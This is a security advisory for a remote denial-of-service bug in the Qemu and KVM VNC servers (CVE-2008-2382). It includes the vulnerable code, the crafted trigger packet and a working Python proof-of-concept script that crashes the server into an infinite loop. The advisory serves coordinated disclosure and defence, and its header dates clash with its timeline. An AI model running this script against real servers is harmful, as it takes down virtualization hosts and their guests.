Qemu and KVM VNC Server Remote DoS

Advisory ID Internal
CORE-2008-1210

1. Advisory Information

Title: Qemu and KVM VNC server remote DoS
Advisory ID: CORE-2008-1210
Advisory URL: https://www.coresecurity.com/core-labs/advisories/vnc-remote-dos
Date published: 2009-12-22
Date of last update: 2008-12-19
Vendors contacted: Qemu and KVM teams
Release mode: Coordinated release

2. Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32910
CVE Name: CVE-2008-2382

3. Vulnerability Description

The VNC server of Qemu and KVM virtualization solutions are vulnerable to a remote DoS, when specially crafted packets are received by the host VNC server causing an infinite loop.

Successful exploitation causes the host server to enter an infinite loop and cease to function. The vulnerability can be triggered remotely by external hosts or virtualized guests. No special privileges are required to perform the Denial of Service.

4. Vulnerable Packages

  • Qemu 0.9.1 and older
  • kvm-79 and older

5. Vendor Information, Solutions and Workarounds

Qemu and KVM teams will release patches that fix this vulnerability.

6. Credits

This vulnerability was discovered and researched by Alfredo Ortega from Core Security Technologies.

7. Technical Description / Proof of Concept Code

The function protocol_client_msg() in the file vnc.c (qemu/vnc.c in kvm-66) is in charge of processing incoming VNC low-level messages. A listing of the vulnerable source follows:

vnc.c 1185: static int protocol_client_msg(VncState *vs, uint8_t *data, size_t len) 1186: { 1187: int i; 1188: uint16_t limit; 1189: 1190: switch (data[0]) { ... 1201: case 2: 1202: if (len == 1) 1203: return 4; 1204: 1205: if (len == 4) 1206: return 4 + (read_u16(data, 2) * 4);

When the VNC server receives a message consisting of \x02\x00\x00\x00 the read_u16() function will return zero, and an infinite loop will be triggered, because this function will be called with the len parameter always equal to 4.

7.1. Proof of Concept

The following python script implements a basic VNC client that triggers the vulnerability on the VNC server.

NOTE: Some VNC servers like KVM, don't bind to 0.0.0.0 by default, but the server can still be reached from a guest VM when no VNC client is attached.

Example: Launch vulnerable qemu: ~$qemu ./test.img - -vnc 0.0.0.0:0 Launch attack: ~$python qemu-kvm-DoS.py localhost 5900 

## ## vnc remote DoS ## import socket import time import struct import sys if len(sys.argv)<3: print "Usage: %s host port" % sys.argv[0] exit(0) host = sys.argv[1] # "127.0.0.1" # debian 4 port = int(sys.argv[2]) # 5900 s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((host,port)) # rec-send versions srvversion = s.recv(100) cliversion=srvversion s.send(cliversion) print "Server version: %s" % srvversion #Security types sec=s.recv(100) print "Number of security types: %d" % ord(sec[0]) s.send(sec[1]) # Authentication result auth=s.recv(100) if auth=="\x00\x00\x00\x00": print "Auth ok." # Share desktop flag: no s.send("\x00") # Server framebuffer parameters: framebuf=s.recv(100) # Trigger the bug s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("<L",1)*5) s.close()

8. Report Timeline

  • 2008-12-10: Core Security Technologies notifies the Qemu, Xen and KVM teams of the vulnerability.
  • 2008-12-11: KVM team acknowledges notification.
  • 2008-12-12: Core sends technical details of the vulnerability to the KVM team.
  • 2008-12-13: KVM team informs that it will inform the Qemu team, since the vulnerable code is inherited from Qemu.
  • 2008-12-16: Core replies that the vulnerability is present in Qemu, KVM and Xen, and that its intention is to coordinate the disclosure of this issue with the three teams. The proposed publication date is January 5th, 2009.
  • 2008-12-16: Xen team acknowledges notification.
  • 2008-12-16: Core sends technical details to the Xen team.
  • 2008-12-16: Qemu team confirms the vulnerability, and has patches ready.
  • 2008-12-17: Xen informs that they are not vulnerable.
  • 2008-12-17: Core proposes to disclose the issue on December 22nd, 2008, if both Qemu and KVM have patches ready.
  • 2008-12-18: Qemu and KVM teams agree to publish the issue on Dec 22.
  • 2008-12-22: The advisory CORE-2008-1210 is published.

 9. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

10. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

11. Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

12. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.